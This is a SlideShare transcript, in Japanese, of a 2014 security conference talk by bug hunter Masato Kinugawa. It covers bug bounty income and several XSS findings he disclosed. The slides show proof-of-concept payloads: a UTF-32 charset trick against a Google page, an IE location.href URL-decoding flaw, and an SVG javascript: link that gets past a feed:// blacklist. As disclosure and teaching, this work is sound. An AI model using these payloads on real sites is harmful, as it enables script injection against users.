CODE BLUE 2014 : バグハンターの愉しみ by キヌガワマサト Masato Kinugawa

16.042 visualizações

Publicada em

近年、セキュリティバグの報告に対し報奨金を出す制度を設ける企業が増えてきている。私はこのバグ報奨金プログラムを介して多額の報奨金を貰っ てきた。現在は個人としてほぼ報奨金のみで生計を立てており、プロのバグハンターと言ってもいいだろう。世界でも珍しいプロのバグハンターになった 経緯、積極的参加者視点からみた制度の実際、どのようにして脆弱性を発見しているかなど、テクニカルな話題も交えながら紹介する。

0 comentários
26 gostaram
Estatísticas
Notas
  • Seja o primeiro a comentar

Sem downloads
Visualizações
Visualizações totais
16.042
No SlideShare
0
A partir de incorporações
0
Número de incorporações
11.336
Ações
Compartilhamentos
0
Downloads
50
Comentários
0
Gostaram
26
Incorporações 0
Nenhuma incorporação

Nenhuma nota no slide

CODE BLUE 2014 : バグハンターの愉しみ by キヌガワマサト Masato Kinugawa

  1. 1. バグハンター� の愉しみ   Masato  Kinugawa   た  の  
  2. 2. 名前   Masato  Kinugawa   国籍   ⽇日本⼈人(と思われる)   趣味   ⾳音楽鑑賞とXSS   職業   バグハンター  
  3. 3. 前   バグハンターの⽣生活と   Bounty  Program   中   愉しいバグ   後   バグハンターになったわけ  
  4. 4. 職場   ⾃自宅宅   勤務時間   やる気がある時   仕事   セキュリティバグを探す   収⼊入   Bug  Bounty   ➡これだけでやっていける?  
  5. 5. 27135346  円  
  6. 6. 27135346  円   (8進数)  
  7. 7. ! 2010年年にGoogleが開始   ! 様々な企業が続く  
  8. 8. ! Google  Vulnerability  Reward  Program   ! 1バグ  =  $100~∼20,000   $130,803.7   これまでに獲得した報酬   これまでに報告したバグ   127(重複/⾮非報酬対象を含むと191)  
  9. 9. 報酬UPでやる気UP!  $  
  10. 10. なんという夜⾏行行性…  
  11. 11. ! 制度度開始からずっと対応が早い   ! 重要度度だけでなくバグの⾯面⽩白さも評価   ! 簡潔な説明で問題を理理解してくれる   ! 報告者を楽しませてくれる  
  12. 12. ! Googleの最重要ドメイン   ! 報酬は$5,000(当時の規定を超える額)  
  13. 13. https://accounts.google.com/example?oe=utf-‐‑‒32   HTTP/1.1  200  OK   Alternate-‐‑‒Protocol:  443:quic,p=0.01   Cache-‐‑‒Control:  private,  max-‐‑‒age=0   Content-‐‑‒Encoding:  gzip   Content-‐‑‒Type:  text/html;  charset=UTF-‐‑‒32   ...   ! URLから⽂文字コードを指定できる   ! UTF-‐‑‒32を指定できていた  
  14. 14. ∀㸀㸀㰀㰀script㸀㸀alert(1)㰀㰀/script㸀㸀�
  15. 15. ➊➊  バイト値の配置   ❷ページの⽂文字コード  
  16. 16. 00  00  22  00  00  00  3E  00  00  00  3C  00   00  00  00  73  00  00  00  63  00  00  00  72   00  00  00  69  00  00  00  70  00  00  00  74   00  00  3E  00  00  00  00  61  00  00  00  6C   00  00  00  65  00  00  00  72  00  00  00  74   00  00  00  28  00  00  00  31  00  00  00  29   00  00  3C  00  00  00  00  2F  00  00  00  73   00  00  00  63  00  00  00  72  00  00  00  69   00  00  00  70  00  00  00  74  00  00  3E  00   ∀㸀㸀㰀㰀� s  c    r� i    p    t� 㸀㸀a    l� e  r    t� (  1    )� 㰀㰀/    s� c  r    i� p  t  㸀㸀� UTF-‐‑‒32は  4バイト  で  1⽂文字  を表現   ➊�
  17. 17. IEはUTF-‐‑‒32をサポートしていない    ➡⽂文字コードは勝⼿手に決まるなにか   00  00  22  00  00  00  3E  00  00  00  3C  00   00  00  00  73  00  00  00  63  00  00  00  72   00  00  00  69  00  00  00  70  00  00  00  74   00  00  3E  00  00  00  00  61  00  00  00  6C   00  00  00  65  00  00  00  72  00  00  00  74   00  00  00  28  00  00  00  31  00  00  00  29   00  00  3C  00  00  00  00  2F  00  00  00  73   00  00  00  63  00  00  00  72  00  00  00  69   00  00  00  70  00  00  00  74  00  00  3E  00   ∀㸀㸀㰀㰀� s  c    r� i    p    t� 㸀㸀a    l� e  r    t� (  1    )� 㰀㰀/    s� c  r    i� p  t  㸀㸀� ❷
  18. 18. 全ブラウザの状況がわかる超凄いサイト   http://l0.cm/encodings/table/  
  19. 19. IE(<=9)はこれを無視    ➡00の部分は存在しないのと同じ   00  00  22  00  00  00  3E  00  00  00  3C  00   00  00  00  73  00  00  00  63  00  00  00  72   00  00  00  69  00  00  00  70  00  00  00  74   00  00  3E  00  00  00  00  61  00  00  00  6C   00  00  00  65  00  00  00  72  00  00  00  74   00  00  00  28  00  00  00  31  00  00  00  29   00  00  3C  00  00  00  00  2F  00  00  00  73   00  00  00  63  00  00  00  72  00  00  00  69   00  00  00  70  00  00  00  74  00  00  3E  00   �  >  �� s  c    r� i    p  t� >  a  l� e  r    t� (  1    )� �  /  s� c  r    i� p  t  >� ❸
  20. 20. ブラウザ/プラグインのバグも探す   ������1������� ������1������� ������1������� ������1������� ������1������� ������1����1�� ������1��1���� ������11������ ������1������� ������1������� ������1��1���� ������1����1�� ������1���1��� ������1�������������11������ ������11������ ������1����1�� ������1�����1� ������1������� ������1������� ������1����1�� ������1������� ������1������� ������1������� ������1������� ������1�������
  21. 21. ! ⾃自分の報告のうちの28.7%   ! そのうち87%がIEのバグ  
  22. 22. ! 修正が遅い   ! 修正されてもバージョン違いのIEは直さ れない場合があり問題が残ることも多い   Webサービス側で回避策を取らざるを得ない   こうなると  
  23. 23. location.hrefはJavaScriptで   ページのURLを取得する⽅方法の1つ   http://example.com/   http://example.com/   location.hrefは  
  24. 24. http://evil%2F@example.com/   location.hrefは   http://evil/@example.com/   @以前が勝⼿手にURLデコードされている!      ➡外部サイトを指すURLができてしまう  
  25. 25. location.hrefが⾃自ドメインを指すことを 前提にしたコード全てが潜在的に危ない   @以前に⽂文字列列を⾜足し、外部サイトへの リクエストが⾶飛ばないか、あらゆるペー ジを確認してまわってみる   そこで  
  26. 26. http://evil%2F@www.youtube.com/  
  27. 27. ! ついでに⾒見見つけた致命的なバグ   ! RSSを表⽰示するfeed://  URLに存在   ! URLの@以前を細⼯工することで無関係の フィードを任意のドメインに展開できる   ! 無関係のフィードにスクリプトを紛れ込 ませておけば展開後のドメイン上で動く   どのサイトでもXSSできる\(^o^)/ヤッタァ☆   つまり  
  28. 28. feed://  URLではスクリプト実⾏行行が可能な   ⽂文字列列を除去する形で制限している   (=ブラックリスト)   ブラックリストを抜けるだけの簡単なお仕事!   やることは  
  29. 29. <a  href="javascript:alert(1)">XSS</a>   <a>XSS</a>   除去パターンから抜けられそうな⽂文字列列を導き出す   ブ ー ー ー  
  30. 30. <svg>� <a  xmlns:xlink="http://www.w3.org/1999/ xlink"� xlink:href="javascript:alert(1)">� <rect  width="1000"  height="1000"  />� </a>� </svg>   シ ー ン  
  31. 31. feed://l0.cm%2Fcb.rss%3F@codeblue.jp/  
  32. 32. feed://l0.cm%2Fcb.rss%3F@codeblue.jp/   alert('CODE  BLUE、2回⽬目開催おめでとう!n'+   document.domain+'から')  
  33. 33. ! ⽂文字コード、ブラウザの挙動/バグと いった様々な要因で危険にさらされる   ! 複雑怪奇なバグの発⾒見見こそ最⾼高の愉しみ   もっと興味がある?   http://masatokinugawa.l0.cm/  
  34. 34. ! ⼩小さい頃からコンピュータを触って育つ   ! 何でも分解することが好き   ! XSSデビューは⼩小6のとき  
  35. 35. ! ⼩小さい頃からコンピュータを触って育つ    ➡  2進数の何たるかを知ったのが2009年年   ! 何でも分解することが好き    ➡  別に好きじゃない   ! XSSデビューは⼩小6のとき    ➡  セキュリティへの⽬目覚めは2009年年  
  36. 36. やりたいことを好きにやろうと決める� 楽しさを⾒見見出せない毎⽇日� 〜~2009   いろいろあった     2010   情報系専⾨門学校を中退  
  37. 37. やりたいこと:  脆弱性を探しまくりたい   やたら⾒見見つけられる⾃自分がいた!   しばらくしてGoogleが報酬制度度を始める   起きているうちは脆弱性探しに没頭  
  38. 38. ! やりたいことをやっていた先にあった   ! 気付いたらそうなっていた   今後の展望   結婚して主夫しながらバグ探し?      ➡⼥女女⼦子ハントのスキルをつける必要がある  
  39. 39. ! 多くの時間は単純な検証の反復復   ! 発⾒見見できなければ収⼊入無し   ! 成果が直接報酬になる達成感は⼤大きい   ! 隠れた財宝を発掘したような喜びは他で は味わえない   ! 異異常な動作は最⾼高に愉しい   それでも  
  40. 40. 探せるスキルが全て   スキルを磨くことだけに注⼒力力すればいい   1⼈人でできる   ⼈人間関係の悩みも少ない   ⾃自宅宅でできる   通勤時間ゼロ分   マイペースにできる   やる気がある時にやる  
  41. 41.   趣味で「⾳音楽を聴く」     趣味で「バグハントする」(上と同じ)   「趣味」   とにかく好きなことをしていると光が   ⾒見見えるかもしれない!   何かに迷っている⼈人へ  
  42. 42. わかっていただけた でしょうか?!  
  43. 43. ありがとう!   @kinugawamasato   ✉   masatokinugawa  [at]  gmail.com   Contact  

×